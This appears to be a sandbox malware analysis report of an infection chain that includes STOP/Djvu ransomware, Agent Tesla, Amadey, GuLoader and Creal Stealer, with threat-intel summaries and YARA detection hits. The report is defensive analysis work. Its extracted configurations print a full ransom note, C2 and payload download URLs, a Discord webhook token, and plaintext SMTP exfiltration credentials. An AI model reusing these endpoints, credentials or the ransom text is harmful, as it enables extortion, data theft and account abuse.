build2.exe (PID: 4480 cmdline: "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe" MD5: E23C839EDB489081120BEFE1E44B04DB)

build3.exe (PID: 7576 cmdline: C:\Users\user\Desktop\a\build3.exe MD5: 0099A99F5FFB3C3AE78AF0084136FAB3)

buildz.exe (PID: 6588 cmdline: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 7652 cmdline: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 5304 cmdline: "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 7204 cmdline: "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

buildz.exe (PID: 6252 cmdline: "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart MD5: F76F31DA2D90E4BE5C20DCF0F98366BD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/ https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Creal Stealer

{"C2 url": "https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9"}

Threatname: Djvu

{"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-MhbiRFXgXD\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0838ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnG5EuwwvKCW48zTUeBZ8\\\\nj9rBNuLv8wXjMlFjoVLWWeTXt2SGwz0UNllHa0jFhrm\\/sz97ccFKOuZIyu1jFQmN\\\\nOerQsoE2yucYASvjxQLOHzBHF9054FyndLloJilrUQe+7JXY8juMUeCkzrLAN5+P\\\\n0f1QgzL38YybCj7J30h0PGuxZVZicwhLmWd20fBv9V48o53b6ZXeMP\\/3NtJG\\/fvt\\\\ni6\\/hMV0mQouHxH5tYUq9Jgrfhyy\\/9C6NO3OFrmHA2hBbENVIdDRU2rDhlNRGTt\\/d\\\\nRZzDPhhxlDroc4rXF0bmWDdpibpVWxXd4tcQWW06q7c24w8H79JptcLJrNucMg2C\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: Amadey

{"C2 url": "185.172.128.19/ghsdh39s/index.php", "Version": "4.12"}

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.acestar.com.ph", "Username": "cs.subic@acestar.com.ph", "Password": "cssubic@12345"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\a\build3.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\nss8CD3.tmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1803118898.0000000004C8B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000016.00000003.2158770305.000001B1EED5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4086429172.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000028.00000002.1925783529.00000000025B8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000002.2180102614.000000000A871000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000002B.00000002.1988294544.000000000096E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf98:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000013.00000002.2153972596.0000000005F88000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000001F.00000002.1879761804.00000000024C9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000000.1720533531.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2174823969.00000000084C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000016.00000003.2103437019.000001B1EE47F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000029.00000002.1997713189.000000000257C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000033.00000002.2092411738.0000000002424000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000030.00000002.4089164036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000002E.00000002.2009060083.00000000025F0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000016.00000003.2186920457.000001B1EED63000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000008.00000000.1704610716.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x27af0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x13c5f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1803118898.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000016.00000003.2103726520.000001B1EEFB5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000000E.00000002.1771443730.0000000002846000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: spfasiazx.exe PID: 6360	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: alex.exe PID: 7604	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: alex.exe PID: 7604	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: alex.exe PID: 7604	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7664	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 8068	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Creal.exe PID: 7252	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
Process Memory Space: buildz.exe PID: 6540	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: buildz.exe PID: 6540	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 52 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
13.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3378d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x337ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33889:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3391b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33985:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x339f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33b1d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.alex.exe.43c7668.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.alex.exe.43c7668.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.alex.exe.43c7668.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3198d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x319ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31a89:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31b1b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31b85:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31bf7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31c8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31d1d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.alex.exe.43c7668.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.alex.exe.43c7668.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.alex.exe.43c7668.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.alex.exe.43c7668.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3378d:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x337ff:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33889:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3391b:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33985:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x339f7:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a8d:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33b1d:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
40.2.buildz.exe.26515a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
40.2.buildz.exe.26515a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
40.2.buildz.exe.26515a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
41.2.buildz.exe.26415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
41.2.buildz.exe.26415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
